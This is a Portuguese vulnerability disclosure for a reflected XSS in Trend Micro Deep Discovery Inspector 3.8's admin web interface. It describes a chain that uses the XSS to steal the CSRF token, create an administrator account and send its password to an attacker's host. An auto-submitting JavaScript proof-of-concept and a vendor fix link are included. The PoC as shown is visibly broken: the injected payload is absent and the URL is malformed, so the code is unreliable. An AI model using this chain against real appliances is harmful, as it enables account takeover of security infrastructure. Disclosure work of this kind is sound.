
Exploit de prova de conceito para XSS refletido no Trend Micro Deep Discovery Inspector 3.8, permitindo bypass de CSRF e tomada de conta de administrador via interface web autenticada.
Encontrei uma vulnerabilidade de XSS refletido na interface web de gerenciamento do Deep Discovery Inspector 3.8 Service Pack 5 Build: 3.85.1165. O caminho do script vulnerável é /php/detection_detail_filter.php. Este script é acessível apenas por um usuário autenticado, mas isso não torna a vulnerabilidade menos grave, considerando o cenário de ataque descrito abaixo.
https://PASTE_DDI_IP_HERE/php/detection_detail_filter.php?ips%5B%5D=217.69.139.245%3A80
Screen1.png confirma que o parâmetro ips[] é vulnerável à injeção de código HTML.
Esta vulnerabilidade pode ser usada para contornar a proteção CSRF, obter o token CSRF e realizar com sucesso um ataque CSRF. Até mesmo a tomada completa do appliance Deep Discovery Inspector pode ser realizada usando o seguinte cenário:
1. O usuário logado na interface web do DDI é induzido a visitar uma página web maliciosa.
2. Um script malicioso nesta página é lançado usando a vulnerabilidade XSS em /php/detection_detail_filter.php
3. O script obtém o token CSRF via requisição PUT para /wsgi/csrf/get_token/
4. E então usa o token obtido da resposta à requisição anterior para adicionar uma conta com privilégios de administrador
5. A senha da conta adicionada é obtida da resposta à requisição anterior.
6. A senha pode ser transferida para o host do atacante via requisição HTTP
Screen2.png mostra o ataque em ação.
Para reproduzir o ataque, você pode usar o seguinte trecho de código (a variável ddi_ip deve ser alterada de acordo com o IP do seu appliance DDI):
<b>DDI PoC</b>
<script type="text/javascript">
function post(path, params, method) {
method = method || "post"; // Set method to post by default if not specified.
// The rest of this code assumes you are not using a library.
// It can be made less wordy if you use one.
var form = document.createElement("form");
form.setAttribute("method", 'POST');
form.setAttribute("action", path);
for(var key in params) {
if(params.hasOwnProperty(key)) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", params[key]);
form.appendChild(hiddenField);
}
}
document.body.appendChild(form);
form.submit();
}
var ddi_ip = '192.168.91.66';
post('https:///'+ddi_ip+'/php/detection_detail_filter.php', {'ips[]':'217.69.139.245:8'});
</script>
Este código PoC deve ser colocado no servidor web do atacante, e um link para este servidor deve ser aberto por um usuário (com permissões de administrador) logado na interface web do DDI. O usuário pode ser induzido a clicar no link usando engenharia social.
A Trend Micro forneceu a seguinte solução: https://success.trendmicro.com/solution/1121079